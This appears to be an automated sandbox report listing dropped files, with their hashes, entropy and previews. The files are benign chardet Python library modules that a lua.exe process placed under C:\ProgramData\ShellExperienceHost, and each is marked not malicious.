Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Communicator client code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langbulgarianmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	105685
Entropy (8bit):	3.2280969632799597
Encrypted:	false
SSDEEP:	768:VWzg7jiE0QrPHa/mimSvsgMdA+TFxns0mDQIy7RfO3I8lVrzFWmNQZ5MuGSjiJxB:307
MD5:	DC8BFCBD96E48E1EEC871008B9DF4C41
SHA1:	AB01C692BAC446348C1B6E1AEB8C41C76460C6D4
SHA-256:	AFAB6F3AD3BC16A8676D6041E55E1CCDC9757D6338A41F651A259053EF20BECC
SHA-512:	7C2F368A330ED3A5053BAD05ED9D493445ED6FE5E33B99FE185BB8AB561AD1BA215DB2362F100344D76B19FFFD8B3E945263BE5B1DA6D39072AB5B1ABBB502E6
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..BULGARIAN_LANG_MODEL = {. 63: { # 'e'. 63: 1, # 'e'. 45: 0, # '\xad'. 31: 0, # '.'. 32: 0, # '.'. 35: 0, # '.'. 43: 0, # '.'. 37: 0, # '.'. 44: 0, # '.'. 55: 0, # '.'. 47: 0, # '.'. 40: 0, # '.'. 59: 0, # '.'. 33: 0, # '.'. 46: 0, # '.'. 38: 0, # '.'. 36: 0, # '.'. 41: 0, # '.'. 30: 0, # '.'. 39: 0, # '.'. 28: 0, # '.'. 34: 0, # '.'. 51: 0, # '.'. 48: 0, # '.'. 49: 0, # '.'. 53: 0, # '.'. 50: 0, # '.'. 54: 0, # '.'. 57: 0, # '.'. 61: 0, # '.'. 60: 0, # '.'. 56: 0, # '.'. 1: 0, # '.'. 18: 1, # '.'. 9: 1, # '.'. 20: 1,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langgreekmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	99559
Entropy (8bit):	3.211527056560738
Encrypted:	false
SSDEEP:	768:Q2I3Miw2Aa0VG426bvLkhVcwciD+v+BfChi0Qf2nbO4WeGfjvecIxZcdXcAxDitm:kZp
MD5:	15AA944AF16F7BBBA2DCF664E22CE077
SHA1:	C59BC42593F0B922B73F7A0179403F203CEA46B1
SHA-256:	D5C32EDB05203C1F1B43645B5634782CDC020844E043E0F0A34120DBFB81D75B
SHA-512:	5D90AFFC16754CE7EDA7C13160B98DF1BE90E99D2721DB805AC7589AAC6F2BA91CB63FC76C1B60E2541BDFFFED765A7A0DBDA80382A78947C1B40FE96BBCDA7E
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..GREEK_LANG_MODEL = {. 60: { # 'e'. 60: 2, # 'e'. 55: 1, # 'o'. 58: 2, # 't'. 36: 1, # '.'. 61: 0, # '.'. 46: 0, # '.'. 54: 0, # '.'. 31: 0, # '.'. 51: 0, # '.'. 43: 0, # '.'. 41: 0, # '.'. 34: 0, # '.'. 40: 0, # '.'. 52: 0, # '.'. 47: 0, # '.'. 44: 0, # '.'. 53: 0, # '.'. 38: 0, # '.'. 49: 0, # '.'. 59: 0, # '.'. 39: 0, # '.'. 35: 0, # '.'. 48: 0, # '.'. 37: 0, # '.'. 33: 0, # '.'. 45: 0, # '.'. 56: 0, # '.'. 50: 1, # '.'. 57: 0, # '.'. 17: 0, # '.'. 18: 0, # '.'. 22: 0, # '.'. 15: 0, # '.'. 1: 0, # '.'. 29: 0, # '.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langhebrewmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	98764
Entropy (8bit):	3.1733435275076394
Encrypted:	false
SSDEEP:	3072:F+xq/jLobEVWpt/ntjhejcQxmmLcRBi0k91FPWTXpPBMA3WzcboML7DmHlCkXMlA:F+xq/jLobEVWpt/ntjhejcQxmmLcRBiD
MD5:	7BD1A4AB964AD4F763CB83C9E3AEE8A8
SHA1:	E072A2E9BC510374083C9CB9E3FE460D6A22B91F
SHA-256:	BAB3262471C85ED0B069602ACB5CC463FE129B0C0DCEDEF7D1B0CEB635F3463B
SHA-512:	55D6E3F28E8164BE1A1EC2C808378F5F033F1AB811D632B534D50CE513443F2FCC1AC4D9BDF4626859FF9692B2947523DF540A8A1A9618600CFDC63A35A803AF
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..HEBREW_LANG_MODEL = {. 50: { # 'a'. 50: 0, # 'a'. 60: 1, # 'c'. 61: 1, # 'd'. 42: 1, # 'e'. 53: 1, # 'i'. 56: 2, # 'l'. 54: 2, # 'n'. 49: 0, # 'o'. 51: 2, # 'r'. 43: 1, # 's'. 44: 2, # 't'. 63: 1, # 'u'. 34: 0, # '\xa0'. 55: 0, # '.'. 48: 0, # '.'. 39: 0, # '.'. 57: 0, # '.'. 30: 0, # '.'. 59: 0, # '.'. 41: 0, # '.'. 33: 0, # '.'. 37: 0, # '.'. 36: 0, # '.'. 31: 0, # '.'. 29: 0, # '.'. 35: 0, # '.'. 62: 0, # '.'. 28: 0, # '.'. 38: 0, # '.'. 45: 0, # '.'. 9: 0, # '.'. 8: 0, # '.'. 20: 0, # '.'. 16: 0, # '.'. 3: 1, # '.'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langhungarianmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	102486
Entropy (8bit):	3.112000025853554
Encrypted:	false
SSDEEP:	768:F8Do+PPz8n9nkDCC6gbDibWAp30fbH4Fha9YCnP0azyUCx6+U08amh1NNEbSgmW+:FAT
MD5:	4ED0A68F3E35F1835176D355C9A0874A
SHA1:	3C0556AA1EF370A83F3F456BE839F315CC0ACB1E
SHA-256:	383022B2FA827DEB3C07815EC8CFCF83D1D8DD90E7132682893E01C72CE873AC
SHA-512:	03AA4C3571E0C275D8635736D900CF671AF4A5D529533CDAD61653BA0449F4C4233FA27B914C0F553E1A0F39AF401FBB8833C8D7B60F45A9A573BB82302D8694
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..HUNGARIAN_LANG_MODEL = {. 28: { # 'A'. 28: 0, # 'A'. 40: 1, # 'B'. 54: 1, # 'C'. 45: 2, # 'D'. 32: 1, # 'E'. 50: 1, # 'F'. 49: 2, # 'G'. 38: 1, # 'H'. 39: 2, # 'I'. 53: 1, # 'J'. 36: 2, # 'K'. 41: 2, # 'L'. 34: 1, # 'M'. 35: 2, # 'N'. 47: 1, # 'O'. 46: 2, # 'P'. 43: 2, # 'R'. 33: 2, # 'S'. 37: 2, # 'T'. 57: 1, # 'U'. 48: 1, # 'V'. 55: 1, # 'Y'. 52: 2, # 'Z'. 2: 0, # 'a'. 18: 1, # 'b'. 26: 1, # 'c'. 17: 2, # 'd'. 1: 1, # 'e'. 27: 1, # 'f'. 12: 1, # 'g'. 20: 1, # 'h'. 9: 1, # 'i'. 22: 1, # 'j'. 7: 2, # 'k'. 6: 2, # 'l'. 13: 2, # 'm'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langrussianmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	131168
Entropy (8bit):	3.38395885481753
Encrypted:	false
SSDEEP:	768:J0RRnoENBU6imohUZm6Whzs8M3AwuiZLhOuaSVg3cNL9Y/UfG95Hlkbd2yZsRTvw:kk5bmhmRI3
MD5:	82770A8C9E90FF4EA6A510A763B048A0
SHA1:	FEC8F5FFD0CCE37D324A22985D2D27BE29B42E4D
SHA-256:	B0FAA4AC16D7D10570C32EA8A9197EC7B111BF6278FB368CA02BCBA644AC4892
SHA-512:	909BB037A07E8868776A1E51F35E60875F631A59824BBC735C0BC7A5120370710FC6ED0D32D30BE1BDD1C5342BABE62B5C64EAF31E81C88D04A4D5CA44270CFF
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..RUSSIAN_LANG_MODEL = {. 37: { # '.'. 37: 0, # '.'. 44: 1, # '.'. 33: 1, # '.'. 46: 1, # '.'. 41: 1, # '.'. 48: 1, # '.'. 56: 1, # '.'. 51: 1, # '.'. 42: 1, # '.'. 60: 1, # '.'. 36: 1, # '.'. 49: 1, # '.'. 38: 1, # '.'. 31: 2, # '.'. 34: 1, # '.'. 35: 1, # '.'. 45: 1, # '.'. 32: 1, # '.'. 40: 1, # '.'. 52: 1, # '.'. 53: 1, # '.'. 55: 1, # '.'. 58: 1, # '.'. 50: 1, # '.'. 57: 1, # '.'. 63: 1, # '.'. 62: 0, # '.'. 61: 0, # '.'. 47: 0, # '.'. 59: 1, # '.'. 43: 1, # '.'. 3: 1, # '.'. 21: 2, # '.'. 10: 2, # '.'. 19: 2,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langthaimodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	103300
Entropy (8bit):	3.251398022554534
Encrypted:	false
SSDEEP:	768:RO4yRslJrHAeANp4vS6g47Wbq0fMmRNndxvlS0rqXiME71+aMZ2ZIwMbdJ7Hh4At:Zf
MD5:	FBA3594136BBE9B5A77B29EA3A214F7B
SHA1:	66E0B9BD502D1A6F43C47F80A3A2C07DCEFB14E9
SHA-256:	A69A0A3862FD38F763F40E025321BC478F336E75EDF4C37559778261EA5AEAC7
SHA-512:	553337DA40E7EB5F61B0F7662F6E582D53C77BD59DC84CEC4F5648DA3FCA6AE3A02BD5D9FDDB76EC866B593EEB95A00A6B548C2D84D7D035D9EC08FCE07A353C
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..THAI_LANG_MODEL = {. 5: { # '.'. 5: 2, # '.'. 30: 2, # '.'. 24: 2, # '.'. 8: 2, # '.'. 26: 2, # '.'. 52: 0, # '.'. 34: 1, # '.'. 51: 1, # '.'. 47: 0, # '.'. 58: 3, # '.'. 57: 2, # '.'. 49: 0, # '.'. 53: 0, # '.'. 55: 0, # '.'. 43: 2, # '.'. 20: 2, # '.'. 19: 3, # '.'. 44: 0, # '.'. 14: 2, # '.'. 48: 0, # '.'. 3: 2, # '.'. 17: 1, # '.'. 25: 2, # '.'. 39: 1, # '.'. 62: 1, # '.'. 31: 1, # '.'. 54: 0, # '.'. 45: 1, # '.'. 9: 2, # '.'. 16: 1, # '.'. 2: 3, # '.'. 61: 2, # '.'. 15: 3, # '.'. 12:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\langturkishmodel.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	95934
Entropy (8bit):	3.0460970701807786
Encrypted:	false
SSDEEP:	192:lsaLEatMa6ca66a7DSpuFbbY9VMJuXaa+a1HaZiiviPaDxiPNn+0iyKaA0i47aWR:TbU/4Ye0FbPIGwu3DDJa9XpTTu
MD5:	84E009A6C34C6ECAA39D96F48DD12365
SHA1:	0FB32965A1D35867F116A2212F827532A7E1A653
SHA-256:	1F795D89C23FAE196FD2BDD5169556B542FA5F7D16CB9F7ABFBFD81F3DAC11D8
SHA-512:	76BC6993ACEA7E0D5720AC36137F6AF42A376D5959BE932A3C9FC636A3BF3D986E6ACDB731B6B615D389A99BF771D3D06D947BB4457B71A9285236CA704955BF
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --..from chardet.sbcharsetprober import SingleByteCharSetModel...# 3: Positive.# 2: Likely.# 1: Unlikely.# 0: Negative..TURKISH_LANG_MODEL = {. 23: { # 'A'. 23: 0, # 'A'. 37: 0, # 'B'. 47: 0, # 'C'. 39: 0, # 'D'. 29: 0, # 'E'. 52: 0, # 'F'. 36: 0, # 'G'. 45: 0, # 'H'. 53: 0, # 'I'. 60: 0, # 'J'. 16: 0, # 'K'. 49: 0, # 'L'. 20: 0, # 'M'. 46: 0, # 'N'. 42: 0, # 'O'. 48: 0, # 'P'. 44: 0, # 'R'. 35: 0, # 'S'. 31: 0, # 'T'. 51: 0, # 'U'. 38: 0, # 'V'. 62: 0, # 'W'. 43: 0, # 'Y'. 56: 0, # 'Z'. 1: 3, # 'a'. 21: 0, # 'b'. 28: 0, # 'c'. 12: 2, # 'd'. 2: 3, # 'e'. 18: 0, # 'f'. 27: 1, # 'g'. 25: 1, # 'h'. 3: 1, # 'i'. 24: 0, # 'j'. 10: 2, # 'k'. 5: 1, # 'l'. 1

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\latin1prober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5370
Entropy (8bit):	4.724145544254619
Encrypted:	false
SSDEEP:	96:Ptzcu4I3PIXMmmmmmOmmmmmmJmmmmmmcmJxBeEJbchy18IuIB+N5:Ptzcu46xBJCxD5
MD5:	4EC6FE5DA8DDBED7AA355DF81BD0E6AF
SHA1:	18AAFA5D34C519C51823A7A4737DD07F79E11DB9
SHA-256:	4B6228391845937F451053A54855AD815C9B4623FA87B0652E574755C94D914F
SHA-512:	F8608DD1F72AFA5355F10F343A69002D80A5287D6968BDB3C9A3493816179E3E8FE265453DE51ADA7F69BDA3549A3545C45E6136B8BD6A9D36F52E77351F84A5
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Publi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\mbcharsetprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3413
Entropy (8bit):	4.691758401653377
Encrypted:	false
SSDEEP:	48:Px/zeL0uwyUjHSU0JMB/0dQ5Wn7c6H5RNMVyylElKBq8CdTIIbu:Ptz/u4GJMB2n7c6HtQyylEl+bCdTIIbu
MD5:	D7BB9DEC5E8045651A957E956E6CFDC7
SHA1:	EEB555BEF8B05F40C0AA6D81BF2B323B875FC653
SHA-256:	011F797851FDBEEA927EF2D064DF8BE628DE6B6E4D3810A85EAC3CB393BDC4B4
SHA-512:	1790596D9A6E1ADA7EBE3D103793445B1EE2393E9CD0964E39BCE5B023CB49F0D387F17F9E8B88BBDBF5F27E183058896EEABB93465ABFCBEB359131E32A9BA4
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.# Proofpoint, Inc..#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\mbcsgroupprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2012
Entropy (8bit):	4.937443894092934
Encrypted:	false
SSDEEP:	48:Px/zeL0uwyUjHSP+cWg/bBkPmJsB8acnd+:Ptz/u4MJsBrod+
MD5:	D11B219F9A5CC6B48D492BEB69C3D9C3
SHA1:	9E6D7D608F78DD6AE8D09BFC9D46E41C7F287BB1
SHA-256:	87A4D19E762AD8EC46D56743E493B2C5C755A67EDD1B4ABEBC1F275ABE666E1E
SHA-512:	C0DD5DDC5EDF0BE6E3595A033B050AE8FC2471B805D2295CA7FE01C1F5F6CA005D047A34E8FE047EF682FAB75D8762DE7BAB05D8F4E4359E012ED65F327628EF
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.# Proofpoint, Inc..#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\mbcssm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25481
Entropy (8bit):	4.703644928512803
Encrypted:	false
SSDEEP:	192:Kt17u4PJ9G///8/eeeeeHN999999jyTMG/96U////////9eeeeeeeea/99///99M:6u42f17JlwxjpFhHJ
MD5:	3084C6E597BB859E0CDF091E046C9D5E
SHA1:	0501C978D8B4BDB0883F06F604139896AA3634BD
SHA-256:	498DF6C15205DC7CDC8D8DC1684B29CBD99EB5B3522B120807444A3E7EED8E92
SHA-512:	CD72A229BDAD4CAC29334326BF5B2DF59B3551D0591E2794668CF9BA194C2B1301CDD781F904F6CE8561A0A4ABE339A8AEDBF0676914CFA9D433770ED7F7DE3B
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\languages.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	19474
Entropy (8bit):	4.309626912869515
Encrypted:	false
SSDEEP:	192:otWEL1HNmxATvSK9WwT+X5cdAW4ak4CWD79vACb8sPWvI6QaIeIKl0v48m1wv+am:J/kz97MMveFwpgijRRC
MD5:	F4A09F07D24ADF6500AC136A5F9AE48F
SHA1:	4BEBA4DE69BAB37063E4D564AB9FE9B58BB316E5
SHA-256:	E35B4BAB778B4AB0446C455542954616AF4AEE8D659FD6F51E9635974842510A
SHA-512:	E85987753AF4641FB3D6D2431A2FE78DBC8695922C5A56FA3AE689A04683073D2E690C969EA7661E7ECC1FB3971FE31721BCF372346056366426707C0680C256
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --.""".Metadata about languages used by our model training code for our.SingleByteCharSetProbers. Could be used for other things in the future...This code is based on the language metadata from the uchardet project..""".from __future__ import absolute_import, print_function..from string import ascii_letters...# TODO: Add Ukranian (KOI8-U)..class Language(object):. """Metadata about a language useful for training models.. :ivar name: The human name for the language, in English.. :type name: str. :ivar iso_code: 2-letter ISO 639-1 if possible, 3-letter ISO code otherwise,. or use another catalog as a last resort.. :type iso_code: str. :ivar use_ascii: Whether or not ASCII letters should be included in trained. models.. :type use_ascii: bool. :ivar charsets: The charsets we want to support and create data for.. :type charsets: list of str. :ivar alphabet: The characters in the

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\sbcharsetprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6136
Entropy (8bit):	4.546497348315648
Encrypted:	false
SSDEEP:	96:Ptzcu4ySB1JHv2+18JlyLpX8895vzCIIgR:Ptzcu4vB7nLm8veK
MD5:	2EBB3D6952540FEA5F8D131376001203
SHA1:	06BB9EA3B9D4E4A3949EF6FDE06C9385FB2A8509
SHA-256:	9E6C8CCAEC731BCEC337A2B7464D8C53324B30B47AF4CAD6A5D9C7CCEC155304
SHA-512:	353B5F18B8F2E7C5387E800996A12997825C5381A73DE3F14134A15BC3353957759782B8915191593ACAB680E6714F7A1080D4CF513A621B903E966F164DA3BD
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Publi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\sbcsgroupprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	4.956208949275685
Encrypted:	false
SSDEEP:	96:Ptzcu4h5jCXCvEXNtLRTbSmJs5JKTFSKqlSiMqIBx7lO1F19d:Ptzcu4h5G4MNtLRTOyBTFSKqlSiMqIBm
MD5:	7E03B10FB4702C16B9E88D5CBC11ADA5
SHA1:	723635EC45B1DBDE8C60BC5D10992E6CC9A1FC6A
SHA-256:	86A79F42E5E6885C83040ACE8EE8C7EA177A5855E5383D64582B310E18F1E557
SHA-512:	9237CE3F5270961339EB6AE8C96014832DB2614A3C921939884927EF7420A2BA881DC3F45FFCDB9FB2CB30AA5FDA8A689F96094A2E9EC2CA5A7AD3408050C0AC
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Publi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\sjisprober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3774
Entropy (8bit):	4.692886314249317
Encrypted:	false
SSDEEP:	96:Kt17u4Mp2KY6HtQyylEl+ii/m98jWTIIRpB:Kt17u4MsKY6ieTz
MD5:	49A4BAE5A91B2CDF3E86CCBE5C891978
SHA1:	AC5FA06EF33A62E12D3F676223F2BA443410AD08
SHA-256:	208B7E9598F4589A8AE2B9946732993F8189944F0A504B45615B98F7A7A4E4C4
SHA-512:	EA7A9B2EEED35A999302D3B3721A8766417BCCA52EEED47025FD634647EB2E0311C74845CCD331303867956294BAD4B288840D88BCE562FD33BDDFD7130E29B1
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\universaldetector.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12503
Entropy (8bit):	4.482453581698848
Encrypted:	false
SSDEEP:	192:Ptzcu4QKIAlBCWcu77VT4/SqUvhPvD2o8utlH+f0uTbDYr:mu43LjV5vhnRLtxuHDu
MD5:	35875D1D3B0AA5BA1C9CA0F4EB462F4F
SHA1:	5ADB8B49698EC14F762292A97AB110670BCA4D7D
SHA-256:	0E96535C25F49D41D7C6443DB2BE06671181FE1BDE67A856B77B8CF7872058AB
SHA-512:	CC2E4C7059B10685294D1360DA403D2E645AD829DDE1BFE2C0AEFA29EA7C5438D7E272D83D2A99B414A1BB175C8BED489DCD45E1469A7C1FDAFBA763778369C4
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is Mozilla Universal charset detector code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 2001.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.# Shy Shalom - original C code.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Publi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\utf8prober.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	4.833784610060913
Encrypted:	false
SSDEEP:	48:Kx/1ef0uwyUjHSUr/J0/dD2bbIQ6H5RZvMalElKTYtIIJs:Kt17u4R/J0uIQ6Hh9lElLtIIq
MD5:	E6180774C6437E9A396353411EDDCB36
SHA1:	35EF3BB735C68E457746E85E7C410CEB2ADA711A
SHA-256:	21D0FCBF7CD63AC07C38B8B23E2FB2FDFAB08A9445C55F4D73578A04B4AE204C
SHA-512:	77510EBF5AA4A8AB8CDA47A44D538E453F9BFE0A0332094A753CB7DF84DDDA9BB03757D609F9A1809898611F938F5553EEC370197BDEF9182629F2F4FD9250DF
Malicious:	false
Preview:	######################## BEGIN LICENSE BLOCK ########################.# The Original Code is mozilla.org code..#.# The Initial Developer of the Original Code is.# Netscape Communications Corporation..# Portions created by the Initial Developer are Copyright (C) 1998.# the Initial Developer. All Rights Reserved..#.# Contributor(s):.# Mark Pilgrim - port to Python.#.# This library is free software; you can redistribute it and/or.# modify it under the terms of the GNU Lesser General Public.# License as published by the Free Software Foundation; either.# version 2.1 of the License, or (at your option) any later version..#.# This library is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU.# Lesser General Public License for more details..#.# You should have received a copy of the GNU Lesser General Public.# License along with this library; if not, write to th

